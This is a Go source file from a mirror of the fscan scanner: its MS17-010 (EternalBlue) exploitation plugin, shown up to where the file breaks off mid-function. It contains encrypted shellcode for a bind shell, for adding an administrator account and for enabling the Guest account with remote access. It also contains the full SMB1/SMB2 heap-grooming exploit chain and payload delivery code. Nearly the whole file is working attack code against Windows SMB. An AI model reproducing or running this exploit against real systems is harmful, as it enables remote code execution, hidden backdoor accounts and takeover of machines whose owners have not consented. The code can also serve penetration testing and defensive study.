mirror of
https://github.com/shadow1ng/fscan.git
synced 2025-06-21 10:21:21 +00:00
1423 lines
45 KiB
Go
1423 lines
45 KiB
Go
package Plugins
|
|
|
|
import (
|
|
"bytes"
|
|
"encoding/binary"
|
|
"encoding/hex"
|
|
"fmt"
|
|
"github.com/shadow1ng/fscan/Common"
|
|
"io"
|
|
"io/ioutil"
|
|
"net"
|
|
"strings"
|
|
"time"
|
|
)
|
|
|
|
// MS17010EXP 执行MS17-010漏洞利用
|
|
func MS17010EXP(info *Common.HostInfo) {
|
|
address := info.Host + ":445"
|
|
var sc string
|
|
|
|
// 根据不同类型选择shellcode
|
|
switch Common.Shellcode {
|
|
case "bind":
|
|
// msfvenom生成的Bind Shell, 监听64531端口
|
|
sc_enc := "gUYe7vm5/MQzTkSyKvpMFImS/YtwI+HxNUDd7MeUKDIxBZ8nsaUtdMEXIZmlZUfoQacylFEZpu7iWBRpQZw0KElIFkZR9rl4fpjyYNhEbf9JdquRrvw4hYMypBbfDQ6MN8csp1QF5rkMEs6HvtlKlGSaff34Msw6RlvEodROjGYA+mHUYvUTtfccymIqiU7hCFn+oaIk4ZtCS0Mzb1S5K5+U6vy3e5BEejJVA6u6I+EUb4AOSVVF8GpCNA91jWD1AuKcxg0qsMa+ohCWkWsOxh1zH0kwBPcWHAdHIs31g26NkF14Wl+DHStsW4DuNaxRbvP6awn+wD5aY/1QWlfwUeH/I+rkEPF18sTZa6Hr4mrDPT7eqh4UrcTicL/x4EgovNXA9X+mV6u1/4Zb5wy9rOVwJ+agXxfIqwL5r7R68BEPA/fLpx4LgvTwhvytO3w6I+7sZS7HekuKayBLNZ0T4XXeM8GpWA3h7zkHWjTm41/5JqWblQ45Msrg+XqD6WGvGDMnVZ7jE3xWIRBR7MrPAQ0Kl+Nd93/b+BEMwvuinXp1viSxEoZHIgJZDYR5DykQLpexasSpd8/WcuoQQtuTTYsJpHFfvqiwn0djgvQf3yk3Ro1EzjbR7a8UzwyaCqtKkCu9qGb+0m8JSpYS8DsjbkVST5Y7ZHtegXlX1d/FxgweavKGz3UiHjmbQ+FKkFF82Lkkg+9sO3LMxp2APvYz2rv8RM0ujcPmkN2wXE03sqcTfDdjCWjJ/evdrKBRzwPFhjOjUX1SBVsAcXzcvpJbAf3lcPPxOXM060OYdemu4Hou3oECjKP2h6W9GyPojMuykTkcoIqgN5Ldx6WpGhhE9wrfijOrrm7of9HmO568AsKRKBPfy/QpCfxTrY+rEwyzFmU1xZ2lkjt+FTnsMJY8YM7sIbWZauZ2S+Ux33RWDf7YUmSGlWC8djqDKammk3GgkSPHjf0Qgknukptxl977s2zw4jdh8bUuW5ap7T+Wd/S0ka90CVF4AyhonvAQoi0G1qj5gTih1FPTjBpf+FrmNJvNIAcx2oBoU4y48c8Sf4ABtpdyYewUh4NdxUoL7RSVouU1MZTnYS9BqOJWLMnvV7pwRmHgUz3fe7Kx5PGnP/0zQjW/P/vgmLMh/iBisJIGF3JDGoULsC3dabGE5L7sXuCNePiOEJmgwOHlFBlwqddNaE+ufor0q4AkQBI9XeqznUfdJg2M2LkUZOYrbCjQaE7Ytsr3WJSXkNbOORzqKo5wIf81z1TCow8QuwlfwIanWs+e8oTavmObV3gLPoaWqAIUzJqwD9O4P6x1176D0Xj83n6G4GrJgHpgMuB0qdlK"
|
|
var err error
|
|
sc, err = AesDecrypt(sc_enc, key)
|
|
if err != nil {
|
|
Common.LogError(fmt.Sprintf("[-] %s MS17-010 解密bind shellcode失败: %v", info.Host, err))
|
|
return
|
|
}
|
|
|
|
case "cs":
|
|
// Cobalt Strike生成的shellcode
|
|
sc = ""
|
|
|
|
case "add":
|
|
// 添加系统管理员账户并配置远程访问
|
|
sc_enc := "Teobs46+kgUn45BOBbruUdpBFXs8uKXWtvYoNbWtKpNCtOasHB/5Er+C2ZlALluOBkUC6BQVZHO1rKzuygxJ3n2PkeutispxSzGcvFS3QJ1EU517e2qOL7W2sRDlNb6rm+ECA2vQZkTZBAboolhGfZYeM6v5fEB2L1Ej6pWF5CKSYxjztdPF8bNGAkZsQhUAVW7WVKysZ1vbghszGyeKFQBvO9Hiinq/XiUrLBqvwXLsJaybZA44wUFvXC0FA9CZDOSD3MCX2arK6Mhk0Q+6dAR+NWPCQ34cYVePT98GyXnYapTOKokV6+hsqHMjfetjkvjEFohNrD/5HY+E73ihs9TqS1ZfpBvZvnWSOjLUA+Z3ex0j0CIUONCjHWpoWiXAsQI/ryJh7Ho5MmmGIiRWyV3l8Q0+1vFt3q/zQGjSI7Z7YgDdIBG8qcmfATJz6dx7eBS4Ntl+4CCqN8Dh4pKM3rV+hFqQyKnBHI5uJCn6qYky7p305KK2Z9Ga5nAqNgaz0gr2GS7nA5D/Cd8pvUH6sd2UmN+n4HnK6/O5hzTmXG/Pcpq7MTEy9G8uXRfPUQdrbYFP7Ll1SWy35B4n/eCf8swaTwi1mJEAbPr0IeYgf8UiOBKS/bXkFsnUKrE7wwG8xXaI7bHFgpdTWfdFRWc8jaJTvwK2HUK5u+4rWWtf0onGxTUyTilxgRFvb4AjVYH0xkr8mIq8smpsBN3ff0TcWYfnI2L/X1wJoCH+oLi67xOs7UApLzuCcE52FhTIjY+ckzBVinUHHwwc4QyY6Xo/15ATcQoL7ZiQgii3xFhrJQGnHgQBsmqT/0A1YBa+rrvIIzblF3FDRlXwAvUVTKnCjDJV9NeiS78jgtx6TNlBDyKCy29E3WGbMKSMH2a+dmtjBhmJ94O8GnbrHyd5c8zxsNXRBaYBV/tVyB9TDtM9kZk5QTit+xN2wOUwFa9cNbpYak8VH552mu7KISA1dUPAMQm9kF5vDRTRxjVLqpqHOc+36lNi6AWrGQkXNKcZJclmO7RotKdtPtCayNGV7/pznvewyGgEYvRKprmzf6hl+9acZmnyQZvlueWeqf+I6axiCyHqfaI+ADmz4RyJOlOC5s1Ds6uyNs+zUXCz7ty4rU3hCD8N6v2UagBJaP66XCiLOL+wcx6NJfBy40dWTq9RM0a6b448q3/mXZvdwzj1Evlcu5tDJHMdl+R2Q0a/1nahzsZ6UMJb9GAvMSUfeL9Cba77Hb5ZU40tyTQPl28cRedhwiISDq5UQsTRw35Z7bDAxJvPHiaC4hvfW3gA0iqPpkqcRfPEV7d+ylSTV1Mm9+NCS1Pn5VDIIjlClhlRf5l+4rCmeIPxQvVD/CPBM0NJ6y1oTzAGFN43kYqMV8neRAazACczYqziQ6VgjATzp0k8"
|
|
var err error
|
|
sc, err = AesDecrypt(sc_enc, key)
|
|
if err != nil {
|
|
Common.LogError(fmt.Sprintf("[-] %s MS17-010 解密add shellcode失败: %v", info.Host, err))
|
|
return
|
|
}
|
|
|
|
case "guest":
|
|
// 激活Guest账户并配置远程访问
|
|
sc_enc := "Teobs46+kgUn45BOBbruUdpBFXs8uKXWtvYoNbWtKpNCtOasHB/5Er+C2ZlALluOBkUC6BQVZHO1rKzuygxJ3n2PkeutispxSzGcvFS3QJ1EU517e2qOL7W2sRDlNb6rm+ECA2vQZkTZBAboolhGfZYeM6v5fEB2L1Ej6pWF5CKSYxjztdPF8bNGAkZsQhUAVW7WVKysZ1vbghszGyeKFQBvO9Hiinq/XiUrLBqvwXLsJaybZA44wUFvXC0FA9CZDOSD3MCX2arK6Mhk0Q+6dAR+NWPCQ34cYVePT98GyXnYapTOKokV6+hsqHMjfetjkvjEFohNrD/5HY+E73ihs9TqS1ZfpBvZvnWSOjLUA+Z3ex0j0CIUONCjHWpoWiXAsQI/ryJh7Ho5MmmGIiRWyV3l8Q0+1vFt3q/zQGjSI7Z7YgDdIBG8qcmfATJz6dx7eBS4Ntl+4CCqN8Dh4pKM3rV+hFqQyKnBHI5uJCn6qYky7p305KK2Z9Ga5nAqNgaz0gr2GS7nA5D/Cd8pvUH6sd2UmN+n4HnK6/O5hzTmXG/Pcpq7MTEy9G8uXRfPUQdrbYFP7Ll1SWy35B4n/eCf8swaTwi1mJEAbPr0IeYgf8UiOBKS/bXkFsnUKrE7wwG8xXaI7bHFgpdTWfdFRWc8jaJTvwK2HUK5u+4rWWtf0onGxTUyTilxgRFvb4AjVYH0xkr8mIq8smpsBN3ff0TcWYfnI2L/X1wJoCH+oLi67xMN+yPDirT+LXfLOaGlyTqG6Yojge8Mti/BqIg5RpG4wIZPKxX9rPbMP+Tzw8rpi/9b33eq0YDevzqaj5Uo0HudOmaPwv5cd9/dqWgeC7FJwv73TckogZGbDOASSoLK26AgBat8vCrhrd7T0uBrEk+1x/NXvl5r2aEeWCWBsULKxFh2WDCqyQntSaAUkPe3JKJe0HU6inDeS4d52BagSqmd1meY0Rb/97fMCXaAMLekq+YrwcSrmPKBY9Yk0m1kAzY+oP4nvV/OhCHNXAsUQGH85G7k65I1QnzffroaKxloP26XJPW0JEq9vCSQFI/EX56qt323V/solearWdBVptG0+k55TBd0dxmBsqRMGO3Z23OcmQR4d8zycQUqqavMmo32fy4rjY6Ln5QUR0JrgJ67dqDhnJn5TcT4YFHgF4gY8oynT3sqv0a+hdVeF6XzsElUUsDGfxOLfkn3RW/2oNnqAHC2uXwX2ZZNrSbPymB2zxB/ET3SLlw3skBF1A82ZBYqkMIuzs6wr9S9ox9minLpGCBeTR9j6OYk6mmKZnThpvarRec8a7YBuT2miU7fO8iXjhS95A84Ub++uS4nC1Pv1v9nfj0/T8scD2BUYoVKCJX3KiVnxUYKVvDcbvv8UwrM6+W/hmNOePHJNx9nX1brHr90m9e40as1BZm2meUmCECxQd+Hdqs7HgPsPLcUB8AL8wCHQjziU6R4XKuX6ivx"
|
|
var err error
|
|
sc, err = AesDecrypt(sc_enc, key)
|
|
if err != nil {
|
|
Common.LogError(fmt.Sprintf("[-] %s MS17-010 解密guest shellcode失败: %v", info.Host, err))
|
|
return
|
|
}
|
|
|
|
default:
|
|
// 从文件读取或直接使用提供的shellcode
|
|
if strings.Contains(Common.Shellcode, "file:") {
|
|
read, err := ioutil.ReadFile(Common.Shellcode[5:])
|
|
if err != nil {
|
|
Common.LogError(fmt.Sprintf("[-] MS17010读取Shellcode文件 %v 失败: %v", Common.Shellcode, err))
|
|
return
|
|
}
|
|
sc = fmt.Sprintf("%x", read)
|
|
} else {
|
|
sc = Common.Shellcode
|
|
}
|
|
}
|
|
|
|
// 验证shellcode有效性
|
|
if len(sc) < 20 {
|
|
fmt.Println("[-] 无效的Shellcode")
|
|
return
|
|
}
|
|
|
|
// 解码shellcode
|
|
sc1, err := hex.DecodeString(sc)
|
|
if err != nil {
|
|
Common.LogError(fmt.Sprintf("[-] %s MS17-010 Shellcode解码失败: %v", info.Host, err))
|
|
return
|
|
}
|
|
|
|
// 执行EternalBlue漏洞利用
|
|
err = eternalBlue(address, 12, 12, sc1)
|
|
if err != nil {
|
|
Common.LogError(fmt.Sprintf("[-] %s MS17-010漏洞利用失败: %v", info.Host, err))
|
|
return
|
|
}
|
|
|
|
Common.LogSuccess(fmt.Sprintf("[*] %s\tMS17-010\t漏洞利用完成", info.Host))
|
|
}
|
|
|
|
// eternalBlue 执行EternalBlue漏洞利用
|
|
func eternalBlue(address string, initialGrooms, maxAttempts int, sc []byte) error {
|
|
// 检查shellcode大小
|
|
const maxscSize = packetMaxLen - packetSetupLen - len(loader) - 2 // uint16长度
|
|
scLen := len(sc)
|
|
if scLen > maxscSize {
|
|
return fmt.Errorf("[-] Shellcode大小超出限制: %d > %d (超出 %d 字节)",
|
|
scLen, maxscSize, scLen-maxscSize)
|
|
}
|
|
|
|
// 构造内核用户空间payload
|
|
payload := makeKernelUserPayload(sc)
|
|
|
|
// 多次尝试利用
|
|
var (
|
|
grooms int
|
|
err error
|
|
)
|
|
for i := 0; i < maxAttempts; i++ {
|
|
grooms = initialGrooms + 5*i
|
|
if err = exploit(address, grooms, payload); err == nil {
|
|
return nil // 利用成功
|
|
}
|
|
}
|
|
|
|
return err // 返回最后一次尝试的错误
|
|
}
|
|
|
|
// exploit 执行EternalBlue漏洞利用核心逻辑
|
|
func exploit(address string, grooms int, payload []byte) error {
|
|
// 建立SMB1匿名IPC连接
|
|
header, conn, err := smb1AnonymousConnectIPC(address)
|
|
if err != nil {
|
|
return fmt.Errorf("[-] 建立SMB连接失败: %v", err)
|
|
}
|
|
defer func() { _ = conn.Close() }()
|
|
|
|
// 发送SMB1大缓冲区数据
|
|
if err = conn.SetReadDeadline(time.Now().Add(10 * time.Second)); err != nil {
|
|
return fmt.Errorf("[-] 设置读取超时失败: %v", err)
|
|
}
|
|
if err = smb1LargeBuffer(conn, header); err != nil {
|
|
return fmt.Errorf("[-] 发送大缓冲区失败: %v", err)
|
|
}
|
|
|
|
// 初始化内存喷射线程
|
|
fhsConn, err := smb1FreeHole(address, true)
|
|
if err != nil {
|
|
return fmt.Errorf("[-] 初始化内存喷射失败: %v", err)
|
|
}
|
|
defer func() { _ = fhsConn.Close() }()
|
|
|
|
// 第一轮内存喷射
|
|
groomConns, err := smb2Grooms(address, grooms)
|
|
if err != nil {
|
|
return fmt.Errorf("[-] 第一轮内存喷射失败: %v", err)
|
|
}
|
|
|
|
// 释放内存并执行第二轮喷射
|
|
fhfConn, err := smb1FreeHole(address, false)
|
|
if err != nil {
|
|
return fmt.Errorf("[-] 释放内存失败: %v", err)
|
|
}
|
|
_ = fhsConn.Close()
|
|
|
|
// 执行第二轮内存喷射
|
|
groomConns2, err := smb2Grooms(address, 6)
|
|
if err != nil {
|
|
return fmt.Errorf("[-] 第二轮内存喷射失败: %v", err)
|
|
}
|
|
_ = fhfConn.Close()
|
|
|
|
// 合并所有喷射连接
|
|
groomConns = append(groomConns, groomConns2...)
|
|
defer func() {
|
|
for _, conn := range groomConns {
|
|
_ = conn.Close()
|
|
}
|
|
}()
|
|
|
|
// 发送最终漏洞利用数据包
|
|
if err = conn.SetReadDeadline(time.Now().Add(10 * time.Second)); err != nil {
|
|
return fmt.Errorf("[-] 设置读取超时失败: %v", err)
|
|
}
|
|
|
|
finalPacket := makeSMB1Trans2ExploitPacket(header.TreeID, header.UserID, 15, "exploit")
|
|
if _, err = conn.Write(finalPacket); err != nil {
|
|
return fmt.Errorf("[-] 发送漏洞利用数据包失败: %v", err)
|
|
}
|
|
|
|
// 获取响应并检查状态
|
|
raw, _, err := smb1GetResponse(conn)
|
|
if err != nil {
|
|
return fmt.Errorf("[-] 获取漏洞利用响应失败: %v", err)
|
|
}
|
|
|
|
// 提取NT状态码
|
|
ntStatus := []byte{raw[8], raw[7], raw[6], raw[5]}
|
|
Common.LogSuccess(fmt.Sprintf("[+] NT Status: 0x%08X", ntStatus))
|
|
|
|
// 发送payload
|
|
Common.LogSuccess("[*] 开始发送Payload")
|
|
body := makeSMB2Body(payload)
|
|
|
|
// 分段发送payload
|
|
for _, conn := range groomConns {
|
|
if _, err = conn.Write(body[:2920]); err != nil {
|
|
return fmt.Errorf("[-] 发送Payload第一段失败: %v", err)
|
|
}
|
|
}
|
|
|
|
for _, conn := range groomConns {
|
|
if _, err = conn.Write(body[2920:4073]); err != nil {
|
|
return fmt.Errorf("[-] 发送Payload第二段失败: %v", err)
|
|
}
|
|
}
|
|
|
|
Common.LogSuccess("[+] Payload发送完成")
|
|
return nil
|
|
}
|
|
|
|
// makeKernelUserPayload 构建内核用户空间Payload
|
|
func makeKernelUserPayload(sc []byte) []byte {
|
|
// 创建缓冲区
|
|
buf := bytes.Buffer{}
|
|
|
|
// 写入loader代码
|
|
buf.Write(loader[:])
|
|
|
|
// 写入shellcode大小(uint16)
|
|
size := make([]byte, 2)
|
|
binary.LittleEndian.PutUint16(size, uint16(len(sc)))
|
|
buf.Write(size)
|
|
|
|
// 写入shellcode内容
|
|
buf.Write(sc)
|
|
|
|
return buf.Bytes()
|
|
}
|
|
|
|
// smb1AnonymousConnectIPC 创建SMB1匿名IPC连接
|
|
func smb1AnonymousConnectIPC(address string) (*smbHeader, net.Conn, error) {
|
|
// 建立TCP连接
|
|
conn, err := net.DialTimeout("tcp", address, 10*time.Second)
|
|
if err != nil {
|
|
return nil, nil, fmt.Errorf("[-] 连接目标失败: %v", err)
|
|
}
|
|
|
|
// 连接状态标记
|
|
var ok bool
|
|
defer func() {
|
|
if !ok {
|
|
_ = conn.Close()
|
|
}
|
|
}()
|
|
|
|
// SMB协议协商
|
|
if err = smbClientNegotiate(conn); err != nil {
|
|
return nil, nil, fmt.Errorf("[-] SMB协议协商失败: %v", err)
|
|
}
|
|
|
|
// 匿名登录
|
|
raw, header, err := smb1AnonymousLogin(conn)
|
|
if err != nil {
|
|
return nil, nil, fmt.Errorf("[-] 匿名登录失败: %v", err)
|
|
}
|
|
|
|
// 获取系统版本信息
|
|
if _, err = getOSName(raw); err != nil {
|
|
return nil, nil, fmt.Errorf("[-] 获取系统信息失败: %v", err)
|
|
}
|
|
|
|
// 连接IPC共享
|
|
header, err = treeConnectAndX(conn, address, header.UserID)
|
|
if err != nil {
|
|
return nil, nil, fmt.Errorf("[-] 连接IPC共享失败: %v", err)
|
|
}
|
|
|
|
ok = true
|
|
return header, conn, nil
|
|
}
|
|
|
|
// SMB头部大小常量
|
|
const smbHeaderSize = 32
|
|
|
|
// smbHeader SMB协议头部结构
|
|
type smbHeader struct {
|
|
ServerComponent [4]byte // 服务器组件标识
|
|
SMBCommand uint8 // SMB命令码
|
|
ErrorClass uint8 // 错误类别
|
|
Reserved byte // 保留字节
|
|
ErrorCode uint16 // 错误代码
|
|
Flags uint8 // 标志位
|
|
Flags2 uint16 // 扩展标志位
|
|
ProcessIDHigh uint16 // 进程ID高位
|
|
Signature [8]byte // 签名
|
|
Reserved2 [2]byte // 保留字节
|
|
TreeID uint16 // 树连接ID
|
|
ProcessID uint16 // 进程ID
|
|
UserID uint16 // 用户ID
|
|
MultiplexID uint16 // 多路复用ID
|
|
}
|
|
|
|
// smb1GetResponse 获取SMB1协议响应数据
|
|
func smb1GetResponse(conn net.Conn) ([]byte, *smbHeader, error) {
|
|
// 读取NetBIOS会话服务头
|
|
buf := make([]byte, 4)
|
|
if _, err := io.ReadFull(conn, buf); err != nil {
|
|
return nil, nil, fmt.Errorf("[-] 读取NetBIOS会话服务头失败: %v", err)
|
|
}
|
|
|
|
// 校验消息类型
|
|
messageType := buf[0]
|
|
if messageType != 0x00 {
|
|
return nil, nil, fmt.Errorf("[-] 无效的消息类型: 0x%02X", messageType)
|
|
}
|
|
|
|
// 解析消息体大小
|
|
sizeBuf := make([]byte, 4)
|
|
copy(sizeBuf[1:], buf[1:])
|
|
messageSize := int(binary.BigEndian.Uint32(sizeBuf))
|
|
|
|
// 读取SMB消息体
|
|
buf = make([]byte, messageSize)
|
|
if _, err := io.ReadFull(conn, buf); err != nil {
|
|
return nil, nil, fmt.Errorf("[-] 读取SMB消息体失败: %v", err)
|
|
}
|
|
|
|
// 解析SMB头部
|
|
header := smbHeader{}
|
|
reader := bytes.NewReader(buf[:smbHeaderSize])
|
|
if err := binary.Read(reader, binary.LittleEndian, &header); err != nil {
|
|
return nil, nil, fmt.Errorf("[-] 解析SMB头部失败: %v", err)
|
|
}
|
|
|
|
return buf, &header, nil
|
|
}
|
|
|
|
// smbClientNegotiate 执行SMB协议协商
|
|
func smbClientNegotiate(conn net.Conn) error {
|
|
buf := bytes.Buffer{}
|
|
|
|
// 构造NetBIOS会话服务头
|
|
if err := writeNetBIOSHeader(&buf); err != nil {
|
|
return fmt.Errorf("[-] 构造NetBIOS头失败: %v", err)
|
|
}
|
|
|
|
// 构造SMB协议头
|
|
if err := writeSMBHeader(&buf); err != nil {
|
|
return fmt.Errorf("[-] 构造SMB头失败: %v", err)
|
|
}
|
|
|
|
// 构造协议协商请求
|
|
if err := writeNegotiateRequest(&buf); err != nil {
|
|
return fmt.Errorf("[-] 构造协议协商请求失败: %v", err)
|
|
}
|
|
|
|
// 发送数据包
|
|
if _, err := buf.WriteTo(conn); err != nil {
|
|
return fmt.Errorf("[-] 发送协议协商数据包失败: %v", err)
|
|
}
|
|
|
|
// 获取响应
|
|
if _, _, err := smb1GetResponse(conn); err != nil {
|
|
return fmt.Errorf("[-] 获取协议协商响应失败: %v", err)
|
|
}
|
|
|
|
return nil
|
|
}
|
|
|
|
// writeNetBIOSHeader 写入NetBIOS会话服务头
|
|
func writeNetBIOSHeader(buf *bytes.Buffer) error {
|
|
// 消息类型: Session Message
|
|
buf.WriteByte(0x00)
|
|
// 长度(固定值)
|
|
buf.Write([]byte{0x00, 0x00, 0x54})
|
|
return nil
|
|
}
|
|
|
|
// writeSMBHeader 写入SMB协议头
|
|
func writeSMBHeader(buf *bytes.Buffer) error {
|
|
// SMB协议标识: .SMB
|
|
buf.Write([]byte{0xFF, 0x53, 0x4D, 0x42})
|
|
// 命令: Negotiate Protocol
|
|
buf.WriteByte(0x72)
|
|
// NT状态码
|
|
buf.Write([]byte{0x00, 0x00, 0x00, 0x00})
|
|
// 标志位
|
|
buf.WriteByte(0x18)
|
|
// 标志位2
|
|
buf.Write([]byte{0x01, 0x28})
|
|
// 进程ID高位
|
|
buf.Write([]byte{0x00, 0x00})
|
|
// 签名
|
|
buf.Write([]byte{0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00})
|
|
// 保留字段
|
|
buf.Write([]byte{0x00, 0x00})
|
|
// 树ID
|
|
buf.Write([]byte{0x00, 0x00})
|
|
// 进程ID
|
|
buf.Write([]byte{0x2F, 0x4B})
|
|
// 用户ID
|
|
buf.Write([]byte{0x00, 0x00})
|
|
// 多路复用ID
|
|
buf.Write([]byte{0xC5, 0x5E})
|
|
return nil
|
|
}
|
|
|
|
// writeNegotiateRequest 写入协议协商请求
|
|
func writeNegotiateRequest(buf *bytes.Buffer) error {
|
|
// 字段数
|
|
buf.WriteByte(0x00)
|
|
// 字节数
|
|
buf.Write([]byte{0x31, 0x00})
|
|
|
|
// 写入支持的方言
|
|
dialects := [][]byte{
|
|
{0x4C, 0x41, 0x4E, 0x4D, 0x41, 0x4E, 0x31, 0x2E, 0x30, 0x00}, // LAN MAN1.0
|
|
{0x4C, 0x4D, 0x31, 0x2E, 0x32, 0x58, 0x30, 0x30, 0x32, 0x00}, // LM1.2X002
|
|
{0x4E, 0x54, 0x20, 0x4C, 0x41, 0x4E, 0x4D, 0x41, 0x4E, 0x20, 0x31, 0x2E, 0x30, 0x00}, // NT LAN MAN 1.0
|
|
{0x4E, 0x54, 0x20, 0x4C, 0x4D, 0x20, 0x30, 0x2E, 0x31, 0x32, 0x00}, // NT LM 0.12
|
|
}
|
|
|
|
for _, dialect := range dialects {
|
|
buf.WriteByte(0x02) // 方言标记
|
|
buf.Write(dialect)
|
|
}
|
|
|
|
return nil
|
|
}
|
|
|
|
// smb1AnonymousLogin 执行SMB1匿名登录
|
|
func smb1AnonymousLogin(conn net.Conn) ([]byte, *smbHeader, error) {
|
|
buf := bytes.Buffer{}
|
|
|
|
// 构造NetBIOS会话服务头
|
|
if err := writeNetBIOSLoginHeader(&buf); err != nil {
|
|
return nil, nil, fmt.Errorf("[-] 构造NetBIOS头失败: %v", err)
|
|
}
|
|
|
|
// 构造SMB协议头
|
|
if err := writeSMBLoginHeader(&buf); err != nil {
|
|
return nil, nil, fmt.Errorf("[-] 构造SMB头失败: %v", err)
|
|
}
|
|
|
|
// 构造会话设置请求
|
|
if err := writeSessionSetupRequest(&buf); err != nil {
|
|
return nil, nil, fmt.Errorf("[-] 构造会话设置请求失败: %v", err)
|
|
}
|
|
|
|
// 发送数据包
|
|
if _, err := buf.WriteTo(conn); err != nil {
|
|
return nil, nil, fmt.Errorf("[-] 发送登录数据包失败: %v", err)
|
|
}
|
|
|
|
// 获取响应
|
|
return smb1GetResponse(conn)
|
|
}
|
|
|
|
// writeNetBIOSLoginHeader 写入NetBIOS会话服务头
|
|
func writeNetBIOSLoginHeader(buf *bytes.Buffer) error {
|
|
// 消息类型: Session Message
|
|
buf.WriteByte(0x00)
|
|
// 长度
|
|
buf.Write([]byte{0x00, 0x00, 0x88})
|
|
return nil
|
|
}
|
|
|
|
// writeSMBLoginHeader 写入SMB协议头
|
|
func writeSMBLoginHeader(buf *bytes.Buffer) error {
|
|
// SMB标识
|
|
buf.Write([]byte{0xFF, 0x53, 0x4D, 0x42})
|
|
// 命令: Session Setup AndX
|
|
buf.WriteByte(0x73)
|
|
// NT状态码
|
|
buf.Write([]byte{0x00, 0x00, 0x00, 0x00})
|
|
// 标志位
|
|
buf.WriteByte(0x18)
|
|
// 标志位2
|
|
buf.Write([]byte{0x07, 0xC0})
|
|
// 进程ID高位
|
|
buf.Write([]byte{0x00, 0x00})
|
|
// 签名1
|
|
buf.Write([]byte{0x00, 0x00, 0x00, 0x00})
|
|
// 签名2
|
|
buf.Write([]byte{0x00, 0x00, 0x00, 0x00})
|
|
// 树ID
|
|
buf.Write([]byte{0x00, 0x00})
|
|
// 进程ID
|
|
buf.Write([]byte{0xFF, 0xFE})
|
|
// 保留字段
|
|
buf.Write([]byte{0x00, 0x00})
|
|
// 用户ID
|
|
buf.Write([]byte{0x00, 0x00})
|
|
// 多路复用ID
|
|
buf.Write([]byte{0x40, 0x00})
|
|
return nil
|
|
}
|
|
|
|
// writeSessionSetupRequest 写入会话设置请求
|
|
func writeSessionSetupRequest(buf *bytes.Buffer) error {
|
|
// 字段数
|
|
buf.WriteByte(0x0D)
|
|
// 无后续命令
|
|
buf.WriteByte(0xFF)
|
|
// 保留字段
|
|
buf.WriteByte(0x00)
|
|
// AndX偏移
|
|
buf.Write([]byte{0x88, 0x00})
|
|
// 最大缓冲区
|
|
buf.Write([]byte{0x04, 0x11})
|
|
// 最大并发数
|
|
buf.Write([]byte{0x0A, 0x00})
|
|
// VC编号
|
|
buf.Write([]byte{0x00, 0x00})
|
|
// 会话密钥
|
|
buf.Write([]byte{0x00, 0x00, 0x00, 0x00})
|
|
// ANSI密码长度
|
|
buf.Write([]byte{0x01, 0x00})
|
|
// Unicode密码长度
|
|
buf.Write([]byte{0x00, 0x00})
|
|
// 保留字段
|
|
buf.Write([]byte{0x00, 0x00, 0x00, 0x00})
|
|
// 功能标志
|
|
buf.Write([]byte{0xD4, 0x00, 0x00, 0x00})
|
|
// 字节数
|
|
buf.Write([]byte{0x4b, 0x00})
|
|
|
|
// 认证信息
|
|
buf.WriteByte(0x00) // ANSI密码
|
|
buf.Write([]byte{0x00, 0x00}) // 账户名
|
|
buf.Write([]byte{0x00, 0x00}) // 域名
|
|
|
|
// 写入操作系统信息
|
|
writeOSInfo(buf)
|
|
|
|
return nil
|
|
}
|
|
|
|
// writeOSInfo 写入操作系统信息
|
|
func writeOSInfo(buf *bytes.Buffer) {
|
|
// 原生操作系统: Windows 2000 2195
|
|
osInfo := []byte{0x57, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x64, 0x00,
|
|
0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x20, 0x00, 0x32, 0x00,
|
|
0x30, 0x00, 0x30, 0x00, 0x30, 0x00, 0x20, 0x00, 0x32, 0x00,
|
|
0x31, 0x00, 0x39, 0x00, 0x35, 0x00, 0x00, 0x00}
|
|
buf.Write(osInfo)
|
|
|
|
// 原生LAN Manager: Windows 2000 5.0
|
|
lanInfo := []byte{0x57, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x64, 0x00,
|
|
0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x20, 0x00, 0x32, 0x00,
|
|
0x30, 0x00, 0x30, 0x00, 0x30, 0x00, 0x20, 0x00, 0x35, 0x00,
|
|
0x2e, 0x00, 0x30, 0x00, 0x00, 0x00}
|
|
buf.Write(lanInfo)
|
|
}
|
|
|
|
// getOSName 从SMB响应中提取操作系统名称
|
|
// 跳过SMB头部、字数统计、AndX命令、保留字段、AndX偏移量、操作标志、字节数以及魔数0x41(A)
|
|
func getOSName(raw []byte) (string, error) {
|
|
// 创建缓冲区存储操作系统名称
|
|
osBuf := bytes.Buffer{}
|
|
|
|
// 创建读取器,定位到操作系统名称开始位置
|
|
reader := bytes.NewReader(raw[smbHeaderSize+10:])
|
|
|
|
// 读取UTF-16编码的操作系统名称
|
|
char := make([]byte, 2)
|
|
for {
|
|
if _, err := io.ReadFull(reader, char); err != nil {
|
|
return "", fmt.Errorf("[-] 读取操作系统名称失败: %v", err)
|
|
}
|
|
|
|
// 遇到结束符(0x00 0x00)时退出
|
|
if bytes.Equal(char, []byte{0x00, 0x00}) {
|
|
break
|
|
}
|
|
|
|
osBuf.Write(char)
|
|
}
|
|
|
|
// 将UTF-16编码转换为ASCII编码
|
|
bufLen := osBuf.Len()
|
|
osName := make([]byte, 0, bufLen/2)
|
|
rawBytes := osBuf.Bytes()
|
|
|
|
// 每隔两个字节取一个字节(去除UTF-16的高字节)
|
|
for i := 0; i < bufLen; i += 2 {
|
|
osName = append(osName, rawBytes[i])
|
|
}
|
|
|
|
return string(osName), nil
|
|
}
|
|
|
|
// treeConnectAndX 执行SMB树连接请求
|
|
func treeConnectAndX(conn net.Conn, address string, userID uint16) (*smbHeader, error) {
|
|
buf := bytes.Buffer{}
|
|
|
|
// 构造NetBIOS会话服务头
|
|
if err := writeNetBIOSTreeHeader(&buf); err != nil {
|
|
return nil, fmt.Errorf("[-] 构造NetBIOS头失败: %v", err)
|
|
}
|
|
|
|
// 构造SMB协议头
|
|
if err := writeSMBTreeHeader(&buf, userID); err != nil {
|
|
return nil, fmt.Errorf("[-] 构造SMB头失败: %v", err)
|
|
}
|
|
|
|
// 构造树连接请求
|
|
if err := writeTreeConnectRequest(&buf, address); err != nil {
|
|
return nil, fmt.Errorf("[-] 构造树连接请求失败: %v", err)
|
|
}
|
|
|
|
// 更新数据包大小
|
|
updatePacketSize(&buf)
|
|
|
|
// 发送数据包
|
|
if _, err := buf.WriteTo(conn); err != nil {
|
|
return nil, fmt.Errorf("[-] 发送树连接请求失败: %v", err)
|
|
}
|
|
|
|
